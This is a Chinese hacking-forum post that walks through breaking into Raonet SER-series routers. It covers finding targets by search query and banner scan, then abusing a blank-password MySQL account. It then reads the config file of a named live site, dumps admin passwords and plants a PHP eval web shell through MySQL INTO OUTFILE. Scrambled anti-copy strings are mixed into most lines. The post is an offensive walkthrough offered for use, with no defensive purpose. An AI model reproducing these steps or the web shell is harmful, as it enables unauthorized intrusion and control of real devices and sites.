寻找存在漏洞的路由器方法：( P D: ?4 y" ]' }* v$ n
4 [+ \! l) {6 C) Q5 X
1：google搜索'Raonet Subscriber Ethernet Router'3 n3 b3 \1 @' v1 k( ?
" ^4 s3 j: k$ h7 _: C: d% x
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
% T# E$ J% o" t6 F' q" H. x' n2 o' M! D3 @" p4 I
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
% g6 ~1 [+ w f" D8 B q4 q! w$ ]( B' N
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成....../ L) j) O% ?( |% ^, C9 Z; K
2 U1 S; v3 M+ H: B
$ W# v2 u* `3 g' t$ e' A- l) T$ `5 s& q
入侵步骤：
, m, K! C+ N' e/ w' r( b5 f- Z8 o! W C1 Y9 p, K) v
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
0 T$ D# ?+ W4 X" H. C0 `" ~ g! V. J7 @, F4 n' I. U( I! r7 B
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc1 T: b5 x' G2 _1 f
3：得到密码后连接，查看GUI管理密码：% I s( z) K! k8 M
use ser_500
6 ^0 r' \* y/ z! D ?% n2 ~2 }; Zselect id,passwd from user;
/ R5 }/ G% Y! H/ M( D4:通过数据库写入webshell，执行命令：
9 w3 d( j5 t' B. V% ]use mysql;. \8 c% V. \& ^+ b
create table ok(cmd TEXT);
: s5 H5 c% P3 R' n8 y( hinsert into ok values("<?php @eval($_POST[cmd])?>");
- [( ?+ N0 D2 I, U7 rselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
. Z6 g; A) p; w1 qdrop table ok;9 l8 f+ y. q% x; A6 t1 c, I
2 w+ W" p" X: U9 |% ~6 Z5:连接后门shell.php , Z) M3 x( u# }3 l7 Q/ E! d8 g& e* x R
$ b' ~2 @! G( m% l$ @: }6. 搞定！4 x. t9 n7 a9 Q" z5 u
5 S' T0 |! K2 ^" V2 ?; s: h
|
发表于 2012-12-10 10:30:18
收藏
支持
反对
发表于 2013-7-29 12:07:54